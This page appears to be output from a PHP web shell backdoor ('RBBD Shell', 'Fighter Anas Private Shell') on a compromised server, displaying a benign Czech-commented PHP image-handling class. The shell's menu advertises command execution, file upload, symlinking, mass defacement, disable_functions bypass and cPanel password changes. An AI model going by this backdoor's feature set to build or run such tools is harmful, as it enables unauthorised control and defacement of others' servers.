⚜ RBBD Shell Backdoor ⚜
Current Dir
:
D:
/
php
/
graficke_soubory
/
Home
Upload
Command
Config
Jumping
Symlink
Mass Deface
Bypass Disable Function
K-RDP 5H3LL
Adminer
Change Password cPanel
Zone-H
Current File : D:/php/graficke_soubory/Image.class.php
<?php namespace PetrKnap\IndependentClass; /** * Třída pro práci s grafickými soubory * * Tato třída je samostatným projektem a jejímu vývoji je již * řadu let kladen velký důraz. Pokud narazíte na jakoukoli * chybu či nesrovnalost v chování, okamžitě tento bug hlaste. * Pomůžete tím nejenom sobě, ale i všem ostatním. * * @author Petr Knap <dev@petrknap.cz> * @since 2008-09-04 * @category ImageProcesing * @package IndependentClass * @version 8.6 * @license http://opensource.org/licenses/ms-pl.html MS-PL * @example Image.example.php Ukázka práce s třídou Image * @property string PathToFile Cesta k souboru s obrázkem * @property int Width Šířka obrázku v pixelech * @property int Height Výška obrázku v pixelech * @property int Type Typ obrázku (konstanty GIF, JPG, PNG, BMP) * @property resource Image Reprezentace grafického souboru v paměti RAM * @property int BackgroundColor Barva pozadí v hexadecimálním formátu 0xAARRGGBB (ARGB) * @property int TransparentColor Průhledná barva v hexadecimálním formátu 0xAARRGGBB (ARGB) * @property int JpgQuality Kvalita výstupního JPG obrázku v procentech (od 1 do 100) */ class Image { #region Datová část private $pathToFile; private $width; private $height; private $type; private $image; private $backgroundColor = 0x00FFFFFF; private $transparentColor = null; private $jpgQuality = 85; /** * @const int Poloha vkládaného obrázku vůči podkladovému obrázku */ const LeftTop = 1, CenterTop = 2, RightTop = 3, LeftCenter = 4, CenterCenter = 5, RightCenter = 6, LeftBottom = 7, CenterBottom = 8, RightBottom = 9; /** * @const int Typ obrázku */ const GIF = IMAGETYPE_GIF, JPG = IMAGETYPE_JPEG, PNG = IMAGETYPE_PNG, BMP = IMAGETYPE_WBMP; #endregion #region Základní metody private function __construct() { } /** * Automaticky uvolní RAM při zániku objektu */ public function __destruct() { $this->close(); } /** * Vytvoří nový objekt ze souboru na disku * * @param string $pathToFile Cesta k souboru s obrázkem * @return self */ public static function fromFile($pathToFile) { $newImage = new self(); $newImage->open($pathToFile); return $newImage; } /* public static function fromStream($stream) { // TODO }*/ /* public static function fromResource($resource) { // TODO }*/ /** * Vytvoří kopii již existujícího objektu * * @param self $image Objekt určený ke klonování * @return self */ public static function fromImage(self $image) { $newImage = clone $image; return $newImage; } /** * Načíte grafický soubor z disku do RAM * * @param string $pathToFile Cesta ke grafickému souboru na disku * @throws \Exception */ private function open($pathToFile) { $this->pathToFile = $pathToFile; if (!file_exists($this->pathToFile)) throw new \Exception("File " . ($this->pathToFile) . " not found."); $tmpImageSize = getimagesize($this->pathToFile); $this->width = (int)$tmpImageSize[0]; $this->height = (int)$tmpImageSize[1]; $this->type = (int)$tmpImageSize[2]; switch ($this->type) { case self::GIF: $this->image = imagecreatefromgif($this->pathToFile); break; case self::JPG: $this->image = imagecreatefromjpeg($this->pathToFile); break; case self::PNG: $this->image = imagecreatefrompng($this->pathToFile); break; case self::BMP: $this->image = imagecreatefromwbmp($this->pathToFile); break; default: throw new \Exception("Unknown type of file " . ($this->pathToFile) . "."); break; } } /** * Změní rozměry grafického souboru * * @param int $width Požadovaná šířka v pixelech * @param int $height Požadovaná výška v pixelech */ public function resize($width, $height) { $width = (int)$width; $height = (int)$height; $tmpImage = imagecreatetruecolor($width, $height); imagefilledrectangle($tmpImage, 0, 0, $width, $height, $this->backgroundColor); imagecopyresampled($tmpImage, $this->image, 0, 0, 0, 0, $width, $height, $this->width, $this->height); $this->width = $width; $this->height = $height; $this->image = $tmpImage; } /** * Poloautomatickou změna rozměrů grafického souboru * * Nová výška je vypočtena na základě nové šírky a poměru stran. * * @see resize() * @param int $width Požadovaná šířka v pixelech */ public function resizeW($width) { $tmpHeight = $width / $this->width * $this->height; $this->resize((int)$width, (int)$tmpHeight); } /** * Poloautomatická změnu rozměrů grafického souboru * * Nová šířka je vypočtena na základě nové výšky a poměru stran. * * @see resize() * @param int $height Požadovaná výška v pixelech */ public function resizeH($height) { $tmpWidth = $height / $this->height * $this->width; $this->resize((int)$tmpWidth, (int)$height); } /** * Spojí dva grafické soubory do jediného * * Proměnná $position může nabývat následujících konstant: * * LeftTop - v levém horním rohu * * CenterTop - nahoře uprostřed * * RightTop - v pravém horním rohu * * LeftCenter - vlevo uprostřed * * CenterCenter - uprostřed * * RightCenter - vpravo uprostřed * * LeftBottom - v levém dolním rohu * * CenterBottom - dole uprostřed * * RightBottom - v pravém dolním rohu * * @param self $secondImage Druhý grafický soubor (bude umístěn na popředí) * @param int $position Pozice druhého obrázku vůči obrázku prvnímu (defaultně 9) * @throws \Exception */ public function join(self $secondImage, $position = self::RightBottom) { switch ($position) { case self::LeftTop: $x = 0; // left $y = 0; // top break; case self::CenterTop: $x = $this->width / 2 - $secondImage->Width / 2; // center $y = 0; // top break; case self::RightTop: $x = $this->width - $secondImage->Width; // right $y = 0; // top break; case self::LeftCenter: $x = 0; // left $y = $this->height / 2 - $secondImage->Height / 2; // center break; case self::CenterCenter: $x = $this->width / 2 - $secondImage->Width / 2; // center $y = $this->height / 2 - $secondImage->Height / 2; // center break; case self::RightCenter: $x = $this->width - $secondImage->Width; // right $y = $this->height / 2 - $secondImage->Height / 2; // center break; case self::LeftBottom: $x = 0; // left $y = $this->height - $secondImage->Height; // bottom break; case self::CenterBottom: $x = $this->width / 2 - $secondImage->Width / 2; // center $y = $this->height - $secondImage->Height; // bottom break; case self::RightBottom: $x = $this->width - $secondImage->Width; // right $y = $this->height - $secondImage->Height; // bottom break; default: throw new \Exception("Position " . $position . " not found."); break; } imagecopy($this->image, $secondImage->Image, $x, $y, 0, 0, $secondImage->Width, $secondImage->Height); } /** * Vykreslí na výstup grafický soubor v požadovaném formátu * * Hlavička Content-Type je přidána automaticky. * * @see $type * @throws \Exception */ public function show() { switch ($this->type) { case self::GIF: header("Content-Type: image/gif"); imagegif($this->image); break; case self::JPG: header("Content-Type: image/jpeg"); imagejpeg($this->image, null, $this->jpgQuality); break; case self::PNG: header("Content-Type: image/png"); imagepng($this->image); break; case self::BMP: header("Content-Type: image/wbmp"); imagewbmp($this->image); break; default: throw new \Exception("Unknown type of file " . ($this->pathToFile) . "."); break; } } /** * Uloží současný stav grafického souboru zpět na disk * * @param string $pathToFile Cesta k výstupnímu souboru * @param int $type Typ výstupního souboru * @param int $jpgQuality Kvalita výstupního JPG obrázku v procentech (od 1 do 100) * @throws \Exception */ public function save($pathToFile = null, $type = null, $jpgQuality = null) { if ($pathToFile === null) $pathToFile = $this->pathToFile; if ($type === null) $type = $this->type; if ($jpgQuality === null) $jpgQuality = $this->jpgQuality; switch ($type) { case self::GIF: imagegif($this->image, $pathToFile); break; case self::JPG: imagejpeg($this->image, $pathToFile, $jpgQuality); break; case self::PNG: imagepng($this->image, $pathToFile); break; case self::BMP: imagewbmp($this->image, $pathToFile); break; default: throw new \Exception("Unknown type of file " . ($this->pathToFile) . "."); break; } $this->pathToFile = $pathToFile; } /** * Odstraní grafický soubor z RAM */ public function close() { @imagedestroy($this->image); } #endregion #region Gettery a settery /** * @param string $name Název proměnné * @return mixed Hodnota proměnné * @throws \Exception */ public function __get($name) { switch ($name) { case 'PathToFile': return $this->pathToFile; case 'Width': return $this->width; case 'Height': return $this->height; case 'Type': return $this->type; case 'Image': return $this->image; case 'BackgroundColor': return $this->backgroundColor; case "TransparentColor": return $this->transparentColor; case 'JpgQuality': return $this->jpgQuality; default: throw new \Exception("Variable $" . $name . " not found."); } } /** * @param string $name Název proměnné * @param mixed $value Hodnota proměnné * @throws \Exception */ public function __set($name, $value) { switch ($name) { case 'Type': $this->setType($value); break; case 'BackgroundColor': $this->setBackgroundColor($value); break; case "TransparentColor": $this->setTransparent($value); break; case 'JpgQuality': $this->setJpgQuality($value); break; case 'PathToFile': case 'Width': case 'Height': case 'Image': throw new \Exception("Variable $" . $name . " is readonly."); break; default: throw new \Exception("Variable $" . $name . " not found."); break; } } /** * @param int $type */ private function setType($type) { $this->type = (int)$type; } /** * @param int $backgroundColor */ private function setBackgroundColor($backgroundColor) { $this->backgroundColor = (int)$backgroundColor; $tmpImage = imagecreatetruecolor($this->width, $this->height); imagefilledrectangle($tmpImage, 0, 0, $this->width, $this->height, $this->backgroundColor); imagecopy($tmpImage, $this->image, 0, 0, 0, 0, $this->width, $this->height); $this->image = $tmpImage; } /** * @param int $color */ private function setTransparent($color) { $this->transparentColor = $color; imagecolortransparent($this->image, (int)$this->transparentColor); } /** * @param int $jpgQuality * @throws \OutOfRangeException */ private function setJpgQuality($jpgQuality) { if($jpgQuality < 1 || $jpgQuality > 100) throw new \OutOfRangeException("Value must be between 1 and 100."); $this->jpgQuality = (int)$jpgQuality; } #endregion }
Fighter Anas Private Shell V.1 -
Royal
Battler BD
Copyright © Fighter Anas